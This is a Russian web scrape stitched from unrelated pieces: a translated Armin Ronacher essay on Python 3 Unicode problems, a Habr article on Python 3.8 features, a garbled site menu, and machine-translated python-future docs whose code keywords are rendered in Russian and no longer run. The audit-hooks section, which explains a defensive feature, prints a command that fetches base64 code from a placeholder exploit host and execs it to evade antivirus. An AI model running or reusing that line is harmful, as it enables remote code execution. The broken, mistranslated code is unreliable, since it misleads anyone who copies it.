Он работает в лабораторных условиях, но ломается в условиях полевых. Так сложилось, что у моего мака американская раскладка клавиатуры, американская локаль, да практически всё американское, разве что даты и числа форматируются по-другому. В результате всего этого (и как я предполaгаю того, что я проапгрейдил свой мак со времён Tiger’a), у меня возникла следующая ситуация: зайдя на свой удалённый сервер, я получил локаль выставленную в строковое значение «POSIX». Вы спрашиваете, что за «POSIX»? А хрен его знает. Вот и Python будучи в таком же неведении как и я, решил работать с «ANSI_X3.4_1968». В этот памятный день я узнал, что у ASCII есть много имён. Оказалось, что это всего лишь одно из названий ASCII. И вот тебе на, мой удалённый интерпретатор Python криво отобразил содержимое директории с интернациализированными именами файлов. Как они там оказались? Я накидал туда статьи из Википедии с их изначальными названиями. Делал же я это с помощью Python 3.1, который замалчивал происходящее с файлами, вместо того, чтобы выдавать исключения или задействовать какие-либо хаки.

Но неисправности с файловыми системами — это всего лишь цветочки. Python также использует переменные окружения (где как вы знаете, полно мусора) для установки файловой кодировки по-умолчанию. Во время конференции, я попросил парочку посетителей угадать кодировку, использующуюся по-умолчанию для текстовых файлов в Python 3. Более 90% этой маленькой выборки были уверены, что это UTF-8. А вот и нет! Она устанавливается в зависимости от локали платформы. Как я вам и говорил, привет из 70-х.

Смеха ради, я залогинился на оба контролируемых мною сервера и обнаружил, что у одного из них при входе через консоль стоит кодировка latin1, которая переключается на latin15 когда вход осуществляется через ssh под рутом, и UTF-8, если я заходил через своего пользователя. Чертовски занимательно, но винить остаётся лишь самого себя. Не сомневаюсь, что я не единственный, чей сервер волшебным образом переключает кодировки учитывая, что по-умолчанию SSH пересылает настройки локали при логине.

Почему я пишу об этом здесь? Да потому, что снова и снова приходится доказывать, что поддержка Юникода в Python 3 доставляет мне куда больше неприятностей, чем в Python 2.

Кодирование и декодирование Юникода не встаёт на пути у того, кто следует Дзену Python 2 в том, что «явное лучше неявного». «Байты входят, Юникод выходит» — именно так работают куски приложений, которые общаются с другими сервисами. Это можно объяснить. Вы можете объяснить это хорошенько задокументировав. Вы подчеркнёте, что для внутренней обработки текста в виде Юникода есть свои причины. Вы расскажите пользователю о том, что мир вокруг нас суров и основан на байтах, поэтому вам приходится кодировать и декодировать для общения с этим миром. Эта концепция может быть в новинку для пользователя. Но стоит лишь подобрать нужные слова и все хорошенько расписать, как одной головной болью станет меньше.

Почему я говорю об этом с такой уверенностью? Потому, что с 2006 года, все мои программы насаживают пользователям Юникод, a количество запросов касательно Юникода не идет ни в какое сравнение с прорвой запросов о работе с пакетами или системой импортирования. Даже с distutils2, в царстве Python, пакеты остаются гораздо большей проблемой, чем Юникод.

Куда уж не естественное развитие событий: запрятать Юникод подальше от пользователя Python 3. Но обернулось это тем, что людям стало ещё сложнее представлять, как всё это работает. Нужно ли нам априори неявное поведение? Я в этом не уверен.

Несомненно, уже сейчас Python 3 на правильном пути. Я обнаружил, что всё больше разговоров идёт о возвращении некоторых API для работы с байтами. Моей наивной задумкой была идея о третьем типе строки в Python 3, под названием estr, или чего-нибудь в этом роде. Он работал бы точно так, как str в Python 2, хранил бы байты и имел такой же набор строковых API. Однако в нём бы также содержалась информация о кодировке, которая бы использовалась для прозрачного декодирования в Юникод-строку или приведения к байтовому объекту. Этот тип был бы священным граалем могущим облегчить портирование.

Но его нет, а интерпретатор Python не разрабатывался с заделом на ещё один тип строки.

Мы разрушили их Мир

Ник рассказывал о том, как разработчики ядра Python разрушили мир веб-программистов. Пока разрушения простилаются до тех пор, где заканчивается обратная НЕсовместимость Python. Но наш мир был разрушен не более, чем мир других разработчиков. Ведь у нас единый мир. Сеть основана на байтах с кодировками, но в основном это касается протоколов низкого уровня. Общение с большей частью того, что лежит на нижнем уровне, происходит на языке байтов с кодировками.

Однако, главные изменения коснулись образа мышления, который нужен при работе на этих уровнях. В Python 2 очень часто использовались объекты Unicode для общения с нижними уровнями. При необходимости, объекты кодировались в байты и наоборот. Приятным для нас побочным эффектом, была например возможность ускорить некоторые операции, кодируя и декодируя данные на ранних стадиях и передавая их в канал понимающий Юникод. Во многом это позволяет функционировать модулю сериализации в ядре. К примеру, Pickle общается с потоками поддерживающими как байты, так и Юникод. В какой-то степени то же самое можно сказать и о simplejson. И вот, появляется Python 3, в котором внезапно нужно разделять Unicode и байтовые потоки. Многие API не выживут на пути к Python 3, без кардинальных изменений в их интерфейсах.

Да, это более правильный подход, но на деле у него больше нет никаких достоинств, кроме того что он более правильный.

Работая с функционалом ввода/вывода в Python 3, я убедился, что он великолепен. Но в реальности, он не идет ни в какое сравнение с тем, как работал Python 2. Может показаться, что у меня много предубеждений, ведь я так много работал с Python 2 и так мало с Python 3, однако, написание большего количества кода для достижения одинакового фунционала, считается дурным тоном. А с Python 3, мне приходиться всё это делать, учитывая все его аспекты.

Но ведь портирование работает!

Конечно же, портирование на Python 3 работает. Это было доказано, и не один раз. Но только потому что что-то возможно и проходит все тесты не значит, что всё хорошо сделано. Я — человек с недостатками и совершаю кучу ошибок. В то же время, я горжусь стремлением довести до блеска свои любимые API. Иногда я ловлю себя на том, что снова и снова переписываю кусок кода, чтобы он стал более удобным для пользователя. При работе с Flask я столько времени потратил на оттачивание основного функционала, что самое время начать говорить об одержимости.

Я хочу, чтобы он работал идеально. Когда я использую API для обычной задачи, мне хочется, чтобы они имели такой же уровень совершенства, каков присущ дизайну Porshe. Да, это — лишь внешний слой для разработчика, но продукт должен быть хорошо разработан от начала и до конца.

Я могу заставить свой код «работать» на Python 3 и всё равно я буду его ненавидеть. Я хочу, чтобы он работал. Но при этом, используя свои или чужие библиотеки, мне хочется получать такое же удовольствие с Python 3, какое я получаю от Python 2.

Jinja2, например, некорректно использует слой ввода/вывода в Python 3, так как невозможно использовать один и тот же код на 2.x и 3.x без переключения между реализацией во время исполнения. Теперь, шаблоны открываются в бинарном режиме как в 2.х, так и в 3.х, т.к. это — единственный надёжный подход, а после, Jinja2 сама декодирует данные из этого бинарного потока. Вообще-то это работает, спасибо нормализации разделителей новых строк. Но я более чем уверен, что все, кто работает в Windows и самостоятельно не нормализует разделители строк, рано или поздно попадут в ситуацию с месивом из различных разделителей, совершенно об этом не подозревая.

Принимая Python 3

Python 3 многое изменил, это факт. Без сомнения, за ним будущее в которое мы направляемся. Многое в Python 3 подаёт большие надежды: значительно улучшенная система импортирования, появление __qualname__, новый способ распространения пакетов Python, унифицированное представление строк в памяти.

Но в настоящее время, портирование библиотеки на Python 3 выглядит как разработка библиотеки на Python 2 и создание её (прошу прощения за мой французский) хитрожопой версии для Python 3 лишь бы доказать, что она работает. Про Jinja2 на Python 3 можно во всех отношениях сказать, что она чертовски уродлива. Это ужасно и мне должно быть стыдно за это. Например, в версии для Python 3, Jinja2 загружала два одномегабайтовых регулярных выражения в память, и я совершенно не заботился о её освобождении. Мне просто хотелось, чтобы она хоть как-нибудь работала.

Так почему же мне пришлось использовать мегабайтовые регулярные выражения в Jinja2? Да потому, что движок регулярных выражений в Python не поддерживает Unicode-категории. А с такими ограничениями пришлось выбирать меньшее зло из двух: либо забить на новые Unicode-идентификаторы в Python 3 и ограничиться идентификаторами ASCII, либо создать огромное регулярное выражение вручную, вписав в него все необходимые определения.

Сказанное выше — лучший пример объясняющий, почему я пока не готов к Python 3. Он не предоставляет инструменты для работы с его же нововведениями. Python 3 жизненно необходимы Unicode-ориентированные регулярные выражения, ему нужны API для работы с локалями, учитывающими взятый курс на Unicode. Ему нужен более продвинутый модуль path, раскрывающий поведение нижележащей файловой системы. Он должен сильнее насаждать единую стандартную кодировку для текстовых файлов, не зависящую от среды исполнения. Он должен предоставлять больше инструментов для работы с закодированными строками. Ему нужна поддержка IRI, а не только URL. Ему нужно что-то большее чем «yield from». В нём должны быть вспомогательные механизмы для транскодирования, которые необходимы для отображения URL в файловую систему.

Ко всему вышеперечисленному можно добавить выпуск Python 2.8, который бы был чуть ближе к Python 3. По мне, существует лишь один реалистичный способ перехода на Python 3: библиотеки и программы должны быть полностью осведомлены о Юникоде и интегрированы в новую экосистему Python 3.

Не пускайте дилетантов прокладывать ваш Путь

Самой большой ошибкой Python 3 является его бинарная несовместимость с Python 2. Тут я подразумеваю отсутствие возможности совместной работы интерпретаторов Python 2 и Python 3 в пространстве общего процесса. В результате, вы не можете запустить Gimp одновременно со скриптовыми интерфейсами как Python 2 так и Python 3. То же самое относится к vim и Blender. Мы просто-напросто не можем. Не сложно понаписать кучу хаков с отдельными процессами и вычурным IPC, но это никому не нужно.

Таким образом, программист, которому придётся раньше других осваивать Python 3, будет делать это из-под палки. И не факт, что этот программист вообще хорошо знаком с Python. А причина, положа руку на сердце, в том, что деньги крутятся вокруг Python 2. Даже если по ночам тратить все наши силы на Python 3, то днём мы всё-равно будем возвращаться к Python 2. Так будет до поры, до времени. Однако, если кучка графических дизайнеров начнёт писать скрипты на Blender под Python 3, то вот вам и нужная адоптация.

Мне совсем не хочется видеть kak CheeseShop* будет мучаться от обилия кривых портов библиотек на Python 3. Мне совсем не хочется видеть ещё одну Jinja2 и особенно уродливую кучу кода призванного работать и на 2.х, и на 3.х. Туда же, хаки вроде sys.exc_info()[1], для обхода синтактических различий, хаки конвертирования литералов во время исполнения для совместимости с 2.х и 3.х и многое многое другое. Всё это плохо отражается не только на производительности во время исполнения, но и на основных постулатax Python: красивый и разборчивый код без хаков.

Признать неудачи, Учиться и Приспосабливаться

Сейчас самое время для нас собраться и обсудить всё то, что люди делают для работы их кода на 2.x и 3.х. Технологии эволюционируют быстрыми темпами и мне будет очень обидно наблюдать, как Python разваливается только потому, что кто-то упустил из виду тёмные тучи на горизонте.

Python не «слишком велик, чтобы о нём забыли». Он может очень быстро потерять свою популярность. Pascal и Delphi попали в узкую нишу, несмотря на то, что они оставались восхитительными языками даже после появления на свет C# и .NET framework. Больше всего на их падении сказался неправильный менеджмент. Люди до сих пор разрабатывают на Pascal, но много ли тех, кто начинает писать на нём новые проекты? Deplhi не работает на iPhone и Android. Он не очень-то хорошо интегрирован в рынок UNIX. И если быть честными, в некоторых областях Python уже сдаёт позиции. Python был достаточно популярен в области компьютерных игр, но этот поезд уже давно ушёл. В web-сообществе, новые конкуренты появляются как грибы после дождя, и нравится это нам или нет, JavaScript всё чаще и чаще наступает на позиции Python как скриптового языка программирования.

Delphi не смог вовремя приспособиться и народ просто перешёл на другие технологии. Если 2to3 это наш путь перехода на Python 3, то py2js — это путь перехода на JavaScript.

И вот что я предлагаю: могли бы мы составить список всего, что усложняет переход на Python 3 и список решений, позволяющих эти проблемы решить? Могли бы мы заново обсудить разработку Python 2.8, если он сможет помочь с портированием? Могли бы мы признать PyPy действительной имплементацией Python, достаточно весомой, чтобы повлиять на то, как мы пишем код?

Armin Ronacher,

7 Декабря 2011.

От переводчика: Прочитав эту статью, первым же желанием было поделиться с другими, возникло острое ощущение, что «мир должен знать». Пересказать статью помогали моя коллега Ирина Пирогова и моя жена Айла Мехтиева, за что им огромное спасибо!

Что нового и как этим пользоваться? / Блог компании OTUS. Онлайн-образование / Хабр

Следующий перевод подготовлен специально для «питонистов», которым интересно наверняка интересно почитать о новых функциях Python 3.8. В преддверии запуска нового потока по курсу «Разработчик Python» мы не смогли пройти мимо этой темы.

В этой статье мы поговорим про новые функциональные возможности, которые были введены в Python 3.8.


Моржовый оператор (Оператор присваивания)

Мы знаем, что вы этого ждали. Это ожидание восходит еще к тем временам, когда в Python намеренно запретили использовать «=» в качестве оператора сравнения. Некоторым людям это понравилось, поскольку они больше не путали = и == в присваивании и сравнении. Другие сочли неудобной необходимость повторять оператор, либо присваивать его переменной. Давайте перейдем к примеру.

По словам Гвидо, большинство программистов склонны писать:

group = re.match(data).group(1) if re.match(data) else None

Вместо

match = re.match(data)
group = match.group(1) if match else None

Это делает работу программы медленнее. Хотя вполне понятно, почему некоторые программисты все же не пишут первым способом – это загромождает код.

Теперь же у нас есть возможность делать так:

group = match.group(1) if (match := re.match(data)) else None

Кроме того, это полезно при использовании if’ов, чтобы не вычислять все заранее.

match2 = pattern1.match(data)
match3 = pattern2.match(data)
if match2:
    result = match2.group(1)
elif match3:
    result = match3.group(2)
else:
    result = None

И вместо этого мы можем написать:

if (match2 := pattern1.match(data)):
    result = match2.group(1)
elif (match3 := pattern2.match(data)):
    result = match3.group(2)
else:
    result = None

Что является более оптимальным, поскольку второй if не будет считаться, если первый отработает.

На самом деле я очень рад стандарту PEP-572, поскольку он не просто дает ранее не существовавшую возможность, но и использует для этого другой оператор, поэтому его непросто будет спутать с ==.

Однако заодно он предоставляет и новые возможности для ошибок и создания заранее нерабочего кода.

y0 = (y1 := f(x))

Позиционные аргументы

def f(a, b, /, c, d, *, e, f):
    print(a, b, c, d, e, f)

Здесь все, что находится перед / — строго позиционные аргументы, а все, что после * — только ключевые слова.

f(10, 20, 30, d=40, e=50, f=60)     - valid
f(10, b=20, c=30, d=40, e=50, f=60) - b cannot be a keyword argument
f(10, 20, 30, 40, 50, f=60)         - e must be a keyword argument

Область применения этой функции можно выразить одним предложением. Библиотекам проще будет менять свои сигнатуры. Давайте рассмотрим пример:

def add_to_queue(item: QueueItem):

Теперь автор должен поддерживать такую сигнатуру, и имя параметра больше не изменить, поскольку это изменение станет критическим. Представьте, что вам нужно изменить не один элемент, а целый список элементов:

def add_to_queue(items: Union[QueueItem, List[QueueItem]]):

Или так:

def add_to_queue(*items: QueueItem):

Это то, чего раньше вы сделать не могли из-за возможной несовместимости с предыдущей версией. А теперь можете. Кроме того, это больше соответствует конструкциям, которые уже используют такой подход. Например, вы не можете передать kwargs функции pow.

>>> help(pow)
...
pow(x, y, z=None, /)
...
>>> pow(x=5, y=3)
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
TypeError: pow() takes no keyword arguments

Поддержка дебага с помощью f-строк

Небольшая дополнительная функция, которая помогает нам использовать компактный формат записи вида “имя переменной=”, переменная.

f"{chr(65) = }" => "chr(65) = 'A'"

Заметили это, после chr(65)? Тот самый фокус. Он помогает обеспечить укороченный способ печати переменных с помощью f-строк.

Нативная оболочка asyncio

Теперь если мы запустим оболочку Python как ‘python -m asyncio’, нам уже не понадобится asyncio.run(), чтобы запускать асинхронные функции. Await можно использовать непосредственно из самой оболочки:

>python -m asyncio
asyncio REPL 3.8.0b4
Use “await” directly instead of “asyncio.run()”.
Type “help”, “copyright”, “credits” or “license” for more information.
>>> import asyncio
>>> async def test():
… await asyncio.sleep(1)
… return ‘hello’
…
>>> await test()
‘hello’

Вызовы Python runtime audit hooks

Рантайм Python очень сильно полагается на С. Однако код, выполненный в нем, никаким способом не регистрируется и не отслеживается. Это затрудняет мониторинг работы фреймфорков для тестирования, фреймворков для логирования, средств безопасности и, возможно, ограничивает действия, выполняемые рантаймом.

Теперь можно наблюдать за событиями, инициированными рантаймом, включая работу системы импорта модулей и любые пользовательские хуки.

Новое API выглядит следующим образом:

# Add an auditing hook
sys.addaudithook(hook: Callable[[str, tuple]])
# Raise an event with all auditing hooks
sys.audit(str, *args)

Хуки нельзя удалить или заменить. Для CPython хуки, пришедшие из С, считаются глобальными, тогда как хуки, пришедшие из Python, служат только для текущего интерпретатора. Глобальные хуки выполняются перед хуками интерпретатора.

Один из особенно интересных и не отслеживаемых эксплойтов может выглядеть так:

python -c “import urllib.request, base64;
    exec(base64.b64decode(
        urllib.request.urlopen(‘http://my-exploit/py.b64')
    ).decode())”

Такой код не сканируется большинством антивирусных программ, поскольку они ориентируются на распознаваемый код, считываемый при загрузке и записи на диск, и base64 вполне достаточно, чтобы эту систему обойти. Этот код также пройдет такие уровни защиты, как списки управления доступом к файлам или разрешения (когда доступ к файлам не требуется), доверенные списки приложений (при условии, что у Python есть все необходимые разрешения) и автоматический аудит или логгирование (при условии, что у Python есть доступ к интернету или доступ к другой машине в локальной сети, с которой можно получить полезную нагрузку).

С помощью runtime event hooks мы можем решить, как реагировать на любое конкретное событие. Мы можем либо зарегистрировать событие, либо полностью прервать операцию.

multiprocessing.shared_memory

Помогает использовать одну и ту же область памяти из разных процессов/интерпретаторов. В принципе, это может помочь нам сократить время, затрачиваемое на сериализацию объектов для передачи их между процессами. Вместо сериализации, отправки в очередь и десериализации, мы можем просто использовать общую память из другого процесса.

Протокол Pickle и буферы внеполосных данных

Протокол pickle 5 предоставляет поддержу внеполосных буферов, где данные могут передаваться отдельно от основного потока pickle по усмотрению транспортного уровня.

Предыдущие 2 дополнения весьма важны, однако они не были включены в релизную версию Python 3.8, поскольку необходимо проделать еще кое-какую работу по совместимости со старым кодом, однако это может изменить походы к параллельному программированию на Python.

Суб-интерпретаторы

Потоки в Python не могут выполняться параллельно из-за GIL, в то время как процессам требуется много ресурсов. Только начало процесса занимает 100-200 мс, а они еще и потребляют большое количество оперативной памяти. Но кое-что может с ними совладать и это суб-интерпретаторы. GIL – это интерпретатор, поэтому он не повлияет на работу других интерпретаторов, и запускается он легче, чем процесс (хотя и медленнее, чем поток).

Основная проблема, которая в связи с этим возникает, заключается в передаче данных между интерпретаторами, поскольку они не могут передавать состояние, как это делают потоки. Поэтому нам нужно использовать какую-то связь между ними. Pickle, marshal или json можно использовать для сериализации и десериализации объектов, однако работать такой способ будет довольно медленно. Одним из решений является использование общей памяти из модуля процессов.

Подпроцессы, судя по всему, являются хорошим решением для проблем GIL, однако необходимо еще проделать определенный пул работ. В некоторых случаях Python по-прежнему использует “Runtime State” вместо “Interpreter State”. Например, сборщик мусора работает именно так. Поэтому нужно внести изменения в многие внутренние модули, чтобы начать по-нормальному использовать суб-интерпретаторы.

Надеюсь, этот функционал смогут полноценно развернуть уже в версии Python 3.9.

В заключение хочу сказать, что в эту версию добавлен определенный синтаксический сахар, а еще некоторые серьезные улучшения в работе библиотек и процесса выполнения. Однако множество интересных функций так и не попали в релиз, поэтому будем ждать их в Python 3.9.

Источники:

Python 2 против Python 3: ключевые различия

  • Home
  • Тестирование

      • Назад
      • Agile-тестирование
      • BugZilla
      • Cucumber
      • Тестирование базы данных
      • JTL Testing
      • Назад
      • JUnit
      • LoadRunner
      • Ручное тестирование
      • Мобильное тестирование
      • Mantis
      • Почтальон
      • QTP
      • Назад
      • Центр качества (ALM)
      • Центр качества (ALM)
      • Управление тестированием
      • TestLink
  • SAP

      • Назад
      • ABAP 900 04
      • APO
      • Начинающий
      • Basis
      • BODS
      • BI
      • BPC
      • CO
      • Назад
      • CRM
      • Crystal Reports
      • FICO
      • 000
      • 000 HRM
      • 9000 3000 Заработная плата
      • Назад
      • PI / PO
      • PP
      • SD
      • SAPUI5
      • Безопасность
      • Менеджер решений
      • Successfactors
      • Учебники SAP

        • Apache
        • AngularJS
        • ASP.Net
        • C
        • C #
        • C ++
        • CodeIgniter
        • СУБД
        • JavaScript
        • Назад
        • Java
        • JSP
        • Kotlin
        • Linux
        • Linux
        • Kotlin
        • Linux
        • js

        • Perl
        • Назад
        • PHP
        • PL / SQL
        • PostgreSQL
        • Python
        • ReactJS
        • Ruby & Rails
        • Scala
        • SQL
        • 000

        • SQL
        • 000

          0003 SQL

          000

          0003 SQL

          000

        • UML
        • VB.Net
        • VBScript
        • Веб-службы
        • WPF
    • Обязательно учите!

        • Назад
        • Бухгалтерский учет
        • Алгоритмы
        • Android
        • Блокчейн
        • Business Analyst
        • Создание веб-сайта
        • CCNA
        • Облачные вычисления
        • 00030003 COBOL
            9000 Compiler

              9000 Встроенные системы

            • 00030002 9000 Compiler
              • Ethical Hacking
              • Учебные пособия по Excel
              • Программирование на Go
              • IoT
              • ITIL
              • Jenkins
              • MIS
              • Сети
              • Операционная система
              • 00030003
              • Назад
              • Управление проектами Обзоры

              • Salesforce
              • SEO
              • Разработка программного обеспечения
              • VB A
          • Big Data

              • Назад
              • AWS
              • BigData
              • Cassandra
              • Cognos
              • Хранилище данных
              • 0003

              • HBOps
              • 0003

              • HBOps
              • 0003

              • MicroStrategy
              • MongoDB

          .

          Написание кода, совместимого с Python 2-3 — документация Python-Future

          Строковые литералы Unicode (текст)

          Если вы обновляете существующую кодовую базу Python 2, это может быть предпочтительнее
          чтобы явно пометить все строковые литералы как юникод с и
          префиксы:

           # только Python 2
          s1 = 'Дзен Python'
          s2 = u 'き た な い の よ り き な 方 が い \ n'
          
          # Python 2 и 3
          s1 = u 'Дзен Python'
          s2 = u 'き た な い の よ り き な 方 が い \ n'
           

          Инструменты futurize и python-modernize в настоящее время не предлагают
          возможность сделать это автоматически.

          Если вы пишете код для нового проекта или новой кодовой базы, вы можете использовать
          эта идиома, чтобы все строковые литералы в модуле unicode strings:

           # Python 2 и 3
          from __future__ import unicode_literals # вверху модуля
          
          s1 = 'Дзен Python'
          s2 = 'き た な い の よ り れ 方 が い \ n'
           

          См. Http://python-future.org/unicode_literals.html для более подробного обсуждения.
          какой стиль использовать.

          Строковые байтовые литералы

           # только Python 2
          s = 'Это должна быть строка байтов'
          
          # Python 2 и 3
          s = b 'Это должна быть строка байтов'
           

          Для перебора байтовой строки с возможными старшими битовыми символами, получение
          каждый символ как байтовая строка длиной 1:

           # только Python 2:
          для bytechar в 'байтовой строке с высокобитными символами, такими как \ xf9':
              ...
          
          # Только Python 3:
          для myint в строке b'byte с высокобитными символами, такими как \ xf9 ':
              bytechar = байты ([myint])
          
          # Python 2 и 3:
          из встроенных импортировать байты
          для myint в байтах (b'byte-string с высокобитными символами, такими как \ xf9 '):
              bytechar = байты ([myint])
           

          В качестве альтернативы можно использовать chr () и .encode ('latin-1') для
          преобразовать int в байтовую строку из 1 символа:

           # только Python 3:
          для myint в строке b'byte с высокобитными символами, такими как \ xf9 ':
              char = chr (myint) # возвращает строку в Юникоде
              bytechar = char.кодировать ('латинский-1')
          
          # Python 2 и 3:
          from builtins import bytes, chr
          для myint в байтах (b'byte-string с высокобитными символами, такими как \ xf9 '):
              char = chr (myint) # возвращает строку в Юникоде
              bytechar = char.encode ('latin-1') # принудительно возвращает байтовый str
           

          .

Добавить комментарий

Ваш адрес email не будет опубликован. Обязательные поля помечены *